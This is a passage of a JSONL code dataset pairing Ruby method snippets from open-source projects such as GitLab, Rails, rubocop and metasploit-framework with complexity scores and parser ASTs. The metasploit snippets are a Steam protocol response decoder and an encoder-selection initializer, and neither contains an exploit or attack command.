",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_response\"]},\"message\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_response\"]},\"http_status\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"RetryPipelineWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}]}","id":"a08c35aa-7707-410f-a647-1b0e8c9167c4"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/formatter_single_value.rb","start_line":29,"raw_source":"def format(tag, time, record)\n        text = record[@message_key].to_s.dup\n        text << @newline if @add_newline\n        text\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@message_key\"]}]},\"to_s\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@add_newline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"<<\",{\"type\":\"ivar\",\"children\":[\"@newline\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}","id":"a1e1f516-b2c0-490e-80d3-991444aee7d2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/adapter_prevent_writes_test.rb","start_line":21,"raw_source":"def test_errors_when_an_update_query_is_called_while_preventing_writes\n    @conn.insert(\"INSERT INTO `engines` (`car_id`) VALUES ('138853948594')\")\n\n    ActiveRecord::Base.while_preventing_writes do\n      assert_raises(ActiveRecord::ReadOnlyError) do\n        @conn.update(\"UPDATE `engines` SET `engines`.`car_id` = '9989' WHERE `engines`.`car_id` = '138853948594'\")\n      end\n    end\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_errors_when_an_update_query_is_called_while_preventing_writes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"insert\",{\"type\":\"str\",\"children\":[\"INSERT INTO `engines` (`car_id`) VALUES ('138853948594')\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"while_preventing_writes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ReadOnlyError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"update\",{\"type\":\"str\",\"children\":[\"UPDATE `engines` SET `engines`.`car_id` = '9989' WHERE `engines`.`car_id` = '138853948594'\"]}]}]}]}]}]}","id":"0e75308b-7259-4e89-a4fd-66eb641f2bea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/checks/single_change_access.rb","start_line":31,"raw_source":"def validate!\n        ref_level_checks\n        # Check of commits should happen as the last step\n        # given they're expensive in terms of performance\n        commits_check\n\n        true\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ref_level_checks\"]},{\"type\":\"send\",\"children\":[null,\"commits_check\"]},{\"type\":\"true\",\"children\":[]}]}]}","id":"469055c3-417e-439d-baee-fb6870a3a9b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/capybara_wait_for_requests.rb","start_line":30,"raw_source":"def click_button(locator = nil, max_wait_time: 2 * Capybara.default_max_wait_time, **options)\n          super(locator, **options)\n\n          wait_for_requests(max_wait_time: max_wait_time)\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"click_button\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"locator\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"max_wait_time\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"default_max_wait_time\"]}]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locator\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_wait_time\"]},{\"type\":\"lvar\",\"children\":[\"max_wait_time\"]}]}]}]}]}]}","id":"63bdc506-42f9-4d6e-a88a-39be8623b3a3"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/formatter.rb","start_line":11,"raw_source":"def self.tag(tag=nil)\n      return @tag unless tag\n      REGISTRY[tag] = self\n\n      @tag = tag\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tag\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"tag\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tag\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REGISTRY\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@tag\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]}","id":"0ae0397e-f321-4d65-b8ae-01d172210989"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":794,"raw_source":"def collect_services(ssu)\n    services = ssu.shell_exec(\"systemctl -a --type service --no-legend\")\n    if services\n      # If there is a systemd use only that, chconfig is calling systemd on the background, but has misleading results\n      MiqLinux::Utils.parse_systemctl_list(services)\n    else\n      services = ssu.shell_exec(\"chkconfig --list\")\n      MiqLinux::Utils.parse_chkconfig_list(services)\n    end\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_services\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ssu\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"services\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssu\"]},\"shell_exec\",{\"type\":\"str\",\"children\":[\"systemctl -a --type service --no-legend\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"services\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqLinux\"]},\"Utils\"]},\"parse_systemctl_list\",{\"type\":\"lvar\",\"children\":[\"services\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"services\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssu\"]},\"shell_exec\",{\"type\":\"str\",\"children\":[\"chkconfig --list\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqLinux\"]},\"Utils\"]},\"parse_chkconfig_list\",{\"type\":\"lvar\",\"children\":[\"services\"]}]}]}]}]}]}","id":"21a1cbc4-9794-486c-81d9-ece48d2e4c37"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/sync_screenshots.rb","start_line":23,"raw_source":"def processing?\n        @asset_delivery_state_counts.fetch('UPLOAD_COMPLETE', 0) > 0\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"processing?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@asset_delivery_state_counts\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"UPLOAD_COMPLETE\"]},{\"type\":\"int\",\"children\":[0]}]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"114e6182-d5e6-4bb2-9339-4268a78b0fe1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/steam/message.rb","start_line":57,"raw_source":"def a2s_info_decode(response)\n    # abort if it is impossibly short\n    return nil if response.length < 19\n    message_type, body = decode_message(response)\n    # abort if it isn't a valid Steam response\n    return nil if message_type != 0x49 # 'I'\n    info = {}\n    info[:version], info[:name], info[:map], info[:folder], info[:game_name],\n      info[:game_id], players, players_max, info[:bots],\n      type, env, vis, vac, info[:game_version], _edf = body.unpack(\"CZ*Z*Z*Z*SCCCCCCCZ*C\")\n\n    # translate type\n    case type\n    when 100 # d\n      server_type = 'Dedicated'\n    when 108 # l\n      server_type = 'Non-dedicated'\n    when 112 # p\n      server_type = 'SourceTV relay (proxy)'\n    else\n      server_type = \"Unknown (#{type})\"\n    end\n    info[:type] = server_type\n\n    # translate environment\n    case env\n    when 108 # l\n      server_env = 'Linux'\n    when 119 # w\n      server_env = 'Windows'\n    when 109 # m\n    when 111 # o\n      server_env = 'Mac'\n    else\n      server_env = \"Unknown (#{env})\"\n    end\n    info[:environment] = server_env\n\n    # translate visibility\n    case vis\n    when 0\n      server_vis = 'public'\n    when 1\n      server_vis = 'private'\n    else\n      server_vis = \"Unknown (#{vis})\"\n    end\n    info[:visibility] = server_vis\n\n    # translate VAC\n    case vac\n    when 0\n      server_vac = 'unsecured'\n    when 1\n      server_vac = 'secured'\n    else\n      server_vac = \"Unknown (#{vac})\"\n    end\n    info[:VAC] = server_vac\n\n    # format players/max\n    info[:players] = \"#{players}/#{players_max}\"\n\n    # TODO: parse EDF\n    info\n  end","complexity_score":68.0,"ast_json":"{\"type\":\"def\",\"children\":[\"a2s_info_decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[19]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message_type\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_message\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_type\"]},\"!=\",{\"type\":\"int\",\"children\":[73]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"map\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"folder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"game_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"game_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"players\"]},{\"type\":\"lvasgn\",\"children\":[\"players_max\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"bots\"]}]},{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"env\"]},{\"type\":\"lvasgn\",\"children\":[\"vis\"]},{\"type\":\"lvasgn\",\"children\":[\"vac\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"game_version\"]}]},{\"type\":\"lvasgn\",\"children\":[\"_edf\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"CZ*Z*Z*Z*SCCCCCCCZ*C\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[100]},{\"type\":\"lvasgn\",\"children\":[\"server_type\",{\"type\":\"str\",\"children\":[\"Dedicated\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[108]},{\"type\":\"lvasgn\",\"children\":[\"server_type\",{\"type\":\"str\",\"children\":[\"Non-dedicated\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[112]},{\"type\":\"lvasgn\",\"children\":[\"server_type\",{\"type\":\"str\",\"children\":[\"SourceTV relay (proxy)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"server_type\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"server_type\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[108]},{\"type\":\"lvasgn\",\"children\":[\"server_env\",{\"type\":\"str\",\"children\":[\"Linux\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[119]},{\"type\":\"lvasgn\",\"children\":[\"server_env\",{\"type\":\"str\",\"children\":[\"Windows\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[109]},null]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[111]},{\"type\":\"lvasgn\",\"children\":[\"server_env\",{\"type\":\"str\",\"children\":[\"Mac\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"server_env\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"lvar\",\"children\":[\"server_env\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vis\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvasgn\",\"children\":[\"server_vis\",{\"type\":\"str\",\"children\":[\"public\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvasgn\",\"children\":[\"server_vis\",{\"type\":\"str\",\"children\":[\"private\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"server_vis\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vis\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"lvar\",\"children\":[\"server_vis\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vac\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvasgn\",\"children\":[\"server_vac\",{\"type\":\"str\",\"children\":[\"unsecured\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvasgn\",\"children\":[\"server_vac\",{\"type\":\"str\",\"children\":[\"secured\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"server_vac\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vac\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"VAC\"]},{\"type\":\"lvar\",\"children\":[\"server_vac\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"players\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"players\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"players_max\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}","id":"839bf81b-0e1e-4757-a248-26bd24bf43c6"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_log_writer.rb","start_line":97,"raw_source":"def test_pid_formatter\n    pid = Process.pid\n\n    out, _ = capture_io do\n      log_writer = Puma::LogWriter.stdio\n\n      log_writer.formatter = Puma::LogWriter::PidFormatter.new\n\n      log_writer.write(\"ready\")\n    end\n\n    assert_equal \"[#{ pid }] ready\", out\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_pid_formatter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"out\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_io\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"log_writer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"LogWriter\"]},\"stdio\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_writer\"]},\"formatter=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"LogWriter\"]},\"PidFormatter\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_writer\"]},\"write\",{\"type\":\"str\",\"children\":[\"ready\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\"] ready\"]}]},{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]}","id":"1293147d-48c1-4847-8b0b-cae8ca2f75bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/repositories/housekeeping_service.rb","start_line":35,"raw_source":"def needed?\n      pushes_since_gc > 0 && period_match? && housekeeping_enabled?\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"needed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pushes_since_gc\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"period_match?\"]}]},{\"type\":\"send\",\"children\":[null,\"housekeeping_enabled?\"]}]}]}","id":"651f820f-352f-4cdb-980a-50d8940c6d91"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/sql_walker_results.rb","start_line":59,"raw_source":"def select?(*path, attribute)\n          selectable = url_query.dig(:select, *path)\n          return false if selectable.nil?\n\n          selectable = selectable.select { |_, v| v.empty? }.keys\n          selectable.include?(attribute) || selectable.include?(\"*\")\n        end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"select?\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selectable\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_query\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"select\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selectable\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"selectable\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selectable\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"empty?\"]}]},\"keys\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selectable\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selectable\"]},\"include?\",{\"type\":\"str\",\"children\":[\"*\"]}]}]}]}]}","id":"d93ef649-f162-4244-b160-c3438e987a64"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/messages/instagram/base_message_builder.rb","start_line":171,"raw_source":"def handle_error(error)\n    ChatwootExceptionTracker.new(error, account: @inbox.account).capture_exception\n    true\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChatwootExceptionTracker\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"account\"]}]}]}]},\"capture_exception\"]},{\"type\":\"true\",\"children\":[]}]}]}","id":"39aea8ad-dc95-4e0f-8fed-b7421fa521aa"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/multiline_method_parameter_line_breaks.rb","start_line":72,"raw_source":"def ignore_last_element?\n          !!cop_config['AllowMultilineFinalElement']\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ignore_last_element?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AllowMultilineFinalElement\"]}]},\"!\"]},\"!\"]}]}","id":"a74cdf6c-a606-4e04-833d-d42040dd084e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/target_finder.rb","start_line":139,"raw_source":"def without_excluded(files)\n      files.reject do |file|\n        # When --ignore-parent-exclusion is given, we must look at the configuration associated with\n        # the file, but in the default case when --ignore-parent-exclusion is not given, can safely\n        # look only at the configuration for the current directory, since it's only the Exclude\n        # parameters we're going to check.\n        config = @config_store.for(ignore_parent_exclusion? ? file : '.')\n        config.file_to_exclude?(file)\n      end\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"without_excluded\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"files\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config_store\"]},\"for\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignore_parent_exclusion?\"]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"file_to_exclude?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}","id":"7e550da0-549a-4474-b6f6-9acc25d05636"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/sqli/mysqli/common.rb","start_line":28,"raw_source":"def initialize(datastore, framework, user_output, opts = {}, &query_proc)\n      if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)\n        # if it's a String or a Symbol, use a predefined encoder if it exists\n        opts[:encoder] = opts[:encoder].downcase.intern\n        opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]\n      end\n      super\n    end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"datastore\"]},{\"type\":\"arg\",\"children\":[\"framework\"]},{\"type\":\"arg\",\"children\":[\"user_output\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"query_proc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]}]}